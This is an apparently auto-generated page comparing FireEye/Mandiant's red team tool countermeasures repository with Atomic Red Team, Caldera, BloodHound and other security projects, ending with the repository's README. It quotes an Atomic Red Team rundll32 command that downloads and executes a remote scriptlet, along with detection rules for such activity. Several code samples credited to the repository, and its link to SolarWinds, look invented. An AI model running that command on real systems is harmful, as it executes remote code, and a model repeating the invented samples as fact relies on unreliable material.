Top Related Projects
Small and highly portable detection tests based on MITRE's ATT&CK.
Automated Adversary Emulation Platform
Six Degrees of Domain Admin
A repository for using windows event forwarding for incident detection and response
A community-driven, open-source project to share detection logic, adversary tradecraft and resources to make detection development more efficient.
Quick Overview
The mandiant/red_team_tool_countermeasures repository is a collection of detection rules and signatures to defend against tools used by malicious actors, specifically those associated with the SolarWinds supply chain compromise. It provides YARA rules, Snort rules, and IOCs to help organizations detect and mitigate potential threats.
Pros
- Comprehensive set of detection rules for various red team tools
- Regularly updated with new signatures and countermeasures
- Developed by Mandiant, a respected cybersecurity firm
- Open-source and freely available for use by the community
Cons
- Requires technical expertise to implement and maintain effectively
- May generate false positives if not properly tuned
- Focuses primarily on specific tools and may not cover all potential threats
- Regular updates needed to stay effective against evolving threats
Getting Started
To use the countermeasures:
-
Clone the repository:
git clone https://github.com/mandiant/red_team_tool_countermeasures.git
-
Review the README and documentation for each tool or technique.
-
Implement the relevant YARA rules in your security tools or EDR solution.
-
Add the Snort rules to your IDS/IPS systems.
-
Use the provided IOCs to enhance your threat hunting and detection capabilities.
-
Regularly check for updates and new releases to maintain effectiveness.
Competitor Comparisons
Small and highly portable detection tests based on MITRE's ATT&CK.
Pros of Atomic Red Team
- More comprehensive test coverage with a larger number of atomic tests
- Better organized and categorized tests based on MITRE ATT&CK framework
- Active community contributions and regular updates
Cons of Atomic Red Team
- May require more setup and configuration for some tests
- Less focus on specific threat actor techniques
Code Comparison
Atomic Red Team test example:
- name: Suspicious rundll32.exe execution
auto_generated_guid: 9c8ef159-c666-472f-9874-90c8d60d136b
description: |
Executes rundll32.exe with suspicious arguments
supported_platforms:
- windows
executor:
command: |
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct").Exec();
name: command_prompt
Red Team Tool Countermeasures example:
<Indicator operator="OR" id="6d745843-f852-4f25-9b3e-d9a9fe829e81">
<IndicatorItem id="5ba882e8-1ce5-4f46-8f5d-95b91e351c5b" condition="contains">
<Context document="ProcessItem" search="ProcessItem/CommandLine" type="mir" />
<Content type="string">rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "</Content>
</IndicatorItem>
</Indicator>
Automated Adversary Emulation Platform
Pros of Caldera
- Provides a comprehensive automated adversary emulation platform
- Offers a wide range of built-in adversary profiles and abilities
- Supports plugin architecture for extensibility
Cons of Caldera
- Requires more setup and configuration compared to Red Team Tool Countermeasures
- May have a steeper learning curve for users new to adversary emulation
- Focuses on emulation rather than specific countermeasures
Code Comparison
Red Team Tool Countermeasures (YARA rule example):
rule APT_MAL_CISA_10365227_03 : APT Malware
{
meta:
description = "Detects APT malware mentioned in CISA alert AA21-008A"
reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"
strings:
$s1 = "Cookie: ASPSESSIONID" wide ascii
condition:
uint16(0) == 0x5A4D and
filesize < 1000KB and
$s1
}
Caldera (ability example):
- id: 43b3754c-def4-4699-a673-1d85648fda6a
name: Discover System Network Configuration
description: Identify network configuration on a single host
tactic: discovery
technique:
attack_id: T1016
name: System Network Configuration Discovery
platforms:
windows:
psh:
command: Get-NetIPConfiguration | Format-Table -AutoSize
Six Degrees of Domain Admin
Pros of BloodHound
- Provides a comprehensive visual representation of Active Directory environments
- Offers powerful query capabilities for identifying attack paths and vulnerabilities
- Actively maintained with frequent updates and community contributions
Cons of BloodHound
- Primarily focused on Active Directory, limiting its scope compared to Red Team Tool Countermeasures
- Requires more setup and configuration to use effectively
- May generate significant network traffic during data collection
Code Comparison
BloodHound (Cypher query example):
MATCH (u:User {name: 'John Doe'})-[r:MemberOf*1..]->(g:Group)
RETURN u.name, g.name
Red Team Tool Countermeasures (YARA rule example):
rule Backdoor_Malware {
strings:
$a = "backdoor_function"
$b = "malicious_payload"
condition:
$a and $b
}
While both repositories serve different purposes, BloodHound excels in Active Directory analysis and visualization, whereas Red Team Tool Countermeasures provides a broader set of detection and mitigation strategies for various red team tools and techniques.
A repository for using windows event forwarding for incident detection and response
Pros of windows-event-forwarding
- Focuses specifically on Windows Event Forwarding, providing detailed guidance and configurations
- Includes comprehensive documentation and step-by-step instructions for implementation
- Offers a more targeted approach for organizations primarily using Windows environments
Cons of windows-event-forwarding
- Limited scope compared to red_team_tool_countermeasures, which covers a broader range of security topics
- May require more manual configuration and setup compared to the more diverse toolset in red_team_tool_countermeasures
- Less frequent updates and contributions from the community
Code Comparison
windows-event-forwarding:
<Subscription xmlns="http://schemas.microsoft.com/2006/03/windows/events/subscription">
<SubscriptionId>Security</SubscriptionId>
<SubscriptionType>SourceInitiated</SubscriptionType>
<Description>Forwards security events</Description>
red_team_tool_countermeasures:
- name: Disable SMBv1
win_regedit:
path: HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
name: SMB1
data: 0
type: dword
The code snippets demonstrate the different focus areas of each repository, with windows-event-forwarding concentrating on event forwarding configurations and red_team_tool_countermeasures providing broader security measures.
A community-driven, open-source project to share detection logic, adversary tradecraft and resources to make detection development more efficient.
Pros of ThreatHunter-Playbook
- Provides a comprehensive collection of hunting techniques and procedures
- Includes detailed analytics and queries for various data sources
- Offers a structured approach to threat hunting with MITRE ATT&CK mapping
Cons of ThreatHunter-Playbook
- Focuses primarily on threat hunting, lacking specific countermeasures
- May require more interpretation and customization for implementation
- Less emphasis on immediate response to known red team tools
Code Comparison
ThreatHunter-Playbook (Splunk query example):
index=windows EventCode=4688
| stats count min(_time) as firstTime max(_time) as lastTime by Computer, ParentProcessName, NewProcessName
| where count < 5
| sort -count
Red_team_tool_countermeasures (Yara rule example):
rule CISA_10135536_01 : trojan backdoor
{
meta:
description = "3PARA RAT"
md5 = "0fbd352ef6460b54d0b05a0fc1e04cca"
strings:
$s1 = "3PARA" ascii wide
condition:
uint16(0) == 0x5A4D and $s1
}
The ThreatHunter-Playbook focuses on analytics and queries for threat hunting, while Red_team_tool_countermeasures provides specific detection rules and countermeasures for known red team tools.
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual CopilotREADME
FireEye Red Team Tool Countermeasures
These rules are provided freely to the community without warranty.
In this GitHub repository you will find rules in multiple languages:
-
Snort
-
Yara
-
ClamAV
-
HXIOC
The rules are categorized and labeled into two release states:
- Production: rules that are expected to perform with minimal tuning.
- Supplemental: rules that are known to require further environment-specific tuning and tweaking to perform, and are often used for hunting workflows.
Please check back to this GitHub for updates to these rules.
FireEye customers can refer to the FireEye Community (community.fireeye.com) for information on how FireEye products detect these threats.
The entire risk as to quality and performance of these rules is with the users.
Top Related Projects
Small and highly portable detection tests based on MITRE's ATT&CK.
Automated Adversary Emulation Platform
Six Degrees of Domain Admin
A repository for using windows event forwarding for incident detection and response
A community-driven, open-source project to share detection logic, adversary tradecraft and resources to make detection development more efficient.
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual Copilot